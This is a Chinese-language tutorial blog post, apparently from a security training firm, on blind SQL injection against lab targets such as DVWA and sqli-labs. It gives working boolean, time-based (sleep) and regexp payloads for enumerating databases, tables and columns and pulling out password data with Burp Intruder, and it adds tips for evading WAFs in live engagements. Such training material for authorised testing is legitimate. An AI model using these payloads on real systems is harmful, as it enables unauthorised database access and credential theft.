大数跨境
0
0

sql注入盲注高级技巧

sql注入盲注高级技巧 黑伞安全服务商
2019-07-02
1
导读:sql注入盲注高级技巧

sql注入盲注高级技巧

 

对于sql盲注,常用的方法应该是二分法,如果是windows平台的dnslog会是一种奇招,于个人盲注的理解,猜解需要大量时间多的经验,那么有没有一种比的方式来行盲注来达到快速又流程的工作呢?这时候我会使用到burpsuite

 

我们用最常见的dvwa来做测试

 

选择sqlinjectionBlind)也就是盲注

先从简单开始搞

开局burp抓包

判断有多少列猜解SQL查询语句中的字段数

这个就很简单了 由于是数字型注入我们就可以用简单的

这里就很简单了

那下面不废话直接用一种新的玩法 告别二分法

我们可以把我们要注入猜解的语句都写成字典

通过burp爆破的形式直接搞出来

猜解数据库有多少个字符

会使用到length   length(database())=1

那么直接构造字典



这个也不需要太长,一般数据库使用的名字不会超过三十个长度吧(我就见过几次)

把拦截的请求发送intruder爆破

先去找到成功注入的字段

User IDexists in the database 添加到intruderoptions中的Grep Match匹配中去

 


导入字典开始攻击

可以看出有四个字符

这里有更好的方法就是只爆破一个点就好

那么所有字典里面其实都是成为1 2 3 456.。。。了 那么现在我们就开始都用123456开始搞事情

盲注需要了解的语法函数有几个很关键

length(str)

   返回字符串str的度,以字节为单位。一个多字字符算作多字

substr(string string,num start,num length)

            string为字符串;start为起始位置;length为长度。

注意:mysql中的start是从1开始的

ASCII()函数用来把字符转换成ascii码值

 

接下来就会用到这三个函数

那么我就不采用二分法猜数据库名字了直接爆,用二分法猜要猜第一个字符之后第二个时间太长那么我们只需要一个字典就OK

猜数据库长度payload设置 

and ascii(substr(database(),1,1))=97

看图

采用bomb方式多重炸炸炸

这时候我们就一个字典里面弄个1122就行 你们懂得省事

 

那么就是开始爆

这时候对比ascii🐎表就可以知道数据库是dvwa

是不是比二分dnslog速度快多了呢

当然dnslog配合python写个自动化也很好

后续爆表长度表名字字段个数长度名字也是如上爆爆爆

看如下payload

爆表个数

爆表长度

爆表名字

多个表就多个标记你懂的

这样的盲注速度真的是节约太多时间

 

还有可以用时间注入的方法进行盲注

if(length(database())=1,sleep(5),1) 

if(ascii(substr(database(),1,1))>97,sleep(5),1)

if((select count(table_name) frominformation_schema.tables where table_schema=database() )=1,sleep(5),1)

if(length(substr((select table_name frominformation_schema.tables where table_schema=database() limit0,1),1))=1,sleep(5),1) 

等等

就留给大家结合burp神器自己动脑使用一下使用之后发现是不是节约很多时间呢  大家可以使用sqllabbwapp 等靶场试试

下面是用到盲注regexp(正则)的方法来战sqllab

?id=1' and length(database())=8  %23

当前数据库名字长度为8

 

?id=1' andord(mid(database(),1,1))=97 %23

爆破数据库的名字

security

 

?id=1' and(select count(table_name) from information_schema.tables wheretable_schema=database())=4%23

security库内表的个数为4

 

?id=1' and length(substr((selecttable_name from information_schema.tables where table_schema=database() limit0,1),1))=6%23

第一个表名的长度为6

 

ORDascii的方式:

?id=1' andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1))=6%23

爆破security库的第一个表的名字

emails

 

正则的方式:

?id=1' and1=(select 1 from information_schema.tables where table_schema=database() and

table_nameregexp'^e')

security库中所有表的第一个字符集合{e,r,u}

 

?id=1' and1=(select 1 from information_schema.tables where table_schema=database() and

table_nameregexp'^ea')

e开头的表名的第二个字符为m

由此可得其中的一个表为:emails

 

得到第二个表:referer

 

以此类推就都出来了

u开头的表的第二个字符的集合为:{as}

其中一个表为:uagents

另一个表为:users

 

正则的方式比ORDascii的方式更好的地方在于:

1.使用正则不用再去猜测表,字段等等的长度

2.正则可以一次性同时爆破多个表或字段

3.爆破的结果不用再去查ascii码表

 

 

下面接着用正则爆破user表中的字段名:

?id=1' and1=(select 1 from information_schema.columns where table_name='user' and

column_nameregexp'^e' limit 0,1)%23

user表中所有字段第一个字符集合为:{ertuipasdfghixcm}

p开头的字段名的第二个字符集合为:{rai}

pa开头的字段名第三个字符为:s

大胆猜测一下:password


验证确实如此。

因为拿到其他字段名的方法与上述一致,就不重复了。

 

 

最后通过rod爆破拿到一条password字段的数据:

?id=1' andmid((select password from users limit 0,1),1,1)='a'

dumb

拿到其中的一条数据;

这里更为严谨的应该是:

?id=1' androd(mid((select password from users limit 0,1),1,1))=97

进行rod爆破,再将结果通过ascii码表转义

 

小结: 可以用二分法asci,ord,mid,substr,left

也可以通过时间注入 shell

还可以用benchmark测试数据库性能的方式(不推荐,数据库有时候扛不住)

使用burp进行注入也需要对盲注的方式,盲注的注入点查找要了解,通过构造语句来进行爆破测试,GET到关键的参数,设置好标记就能轻松blind了

  

出来实战的话很多项目waf会把我们干掉那时候我们就需要把爆破速度调整分布式分小段爆+代理池的方法或许有点效果,希望各位实战时能有好的方法共同分享

 希望大佬轻点

商务合作(安全培训、安服、咨询审计)

微信号:gnosismask

自己搞了一个公司,主营业务培训,安服!

大家关注一下哦!云安教育专注信息安全人才培养!

【声明】内容源于网络
0
0
黑伞安全服务商
(黑伞安全服务商)BLKUMBRA致力于全球高净值人群安全防护领域的领军者,以"科技赋能安全,专业守护卓越"为核心理念,为企业家、政商领袖、科学界精英、高管、娱乐明星、医学人士、教授、律师等精英阶层提供全维度安全解决方案。
内容 366
粉丝 0
黑伞安全服务商 (黑伞安全服务商)BLKUMBRA致力于全球高净值人群安全防护领域的领军者,以"科技赋能安全,专业守护卓越"为核心理念,为企业家、政商领袖、科学界精英、高管、娱乐明星、医学人士、教授、律师等精英阶层提供全维度安全解决方案。
总阅读212
粉丝0
内容366